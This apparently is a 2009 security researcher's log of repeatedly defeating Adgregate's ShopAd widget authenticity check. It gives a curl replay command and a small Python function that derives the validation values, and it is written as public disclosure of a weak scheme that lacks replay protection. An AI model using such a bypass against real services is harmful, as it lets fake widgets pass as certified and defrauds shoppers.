Adgregate ShopAd widget validation
Adgregate seems to change their ShopAd widget validation scheme
every few days (always shortly after I post an attack here).
Rather than just updating this page with the latest fix,
I've decided to start keeping a log of how their system works
and corresponding attacks to break it.
April 11, 2009
The system is roughly the same as April 10, 2009;
the client still fetches a token from /validatewidget.aspx?wid=1,
but now it POSTs slightly different data to the validation URL
and needs to append some extra randomness to the URL:
$ curl -s -e https://secure.adgregate.com/ -d widgetvalid=0DEC43204C-8D158ED39 https://secure.adgregate.com/AuthenticWidget.aspx?CCD-3 | grep authentic | tr -d '\011'
<p><span id="valid" class="grey_text">This widget has been certified as an authentic ShopAd. Shop confidently and securely with ShopAds<sup>TM</sup>.<br/><br/>Secure ShopAds<sup>TM</sup> widgets are always hosted on https://secure.adgregate.com</span>
I haven't figured out yet how the new POST data and query string
are derived from the widgetvalidation data.
However, this isn't necessary since their system still does not use any
replay attack protection.
Update (11:21:57 AM PDT): I've figured out the derivation scheme.
The widgetvalid value included in the POST request entity body is made up of characters
3, 7, 9, 10, 14, 15, 22, 25, 29, 33, 44, 45, 48, 52, 56, 58, 63, 65, 70, 71,
while the string appended to the query string is made up of characters
2, 4, 7, 8, 15.
Here's an example Python program:
def derive(key):
def f(offsets):
return ''.join(key[i] for i in offsets)
return (f([3,7,9,10,14,15,22,25,29,33,44,45,48,52,56,58,63,65,70,71]),
f([2,4,7,8,15]))
Example use (using the validation key corresponding to the above curl request):
>>> derive('39C0CD1D-ECDE-431A-B602-E0F9E40E3CBEE2FA87F7-8FBD-4713-9508-BB9E4DCF27395B908D19-9B6C-4D66-880E-2F80E03A2D1B')
('0DEC43204C-8D158ED39', 'CCD-3')
(Solving a puzzle like this is a standard high school
or college programming competition problem.
It took about half an hour to solve,
mostly just because adgregate has changed to regenerating their keys
only every 15 minutes,
and I needed 3 samples to solve it.)
Update (11:36:07 AM PDT):
I've updated my proof-of-concept widget again: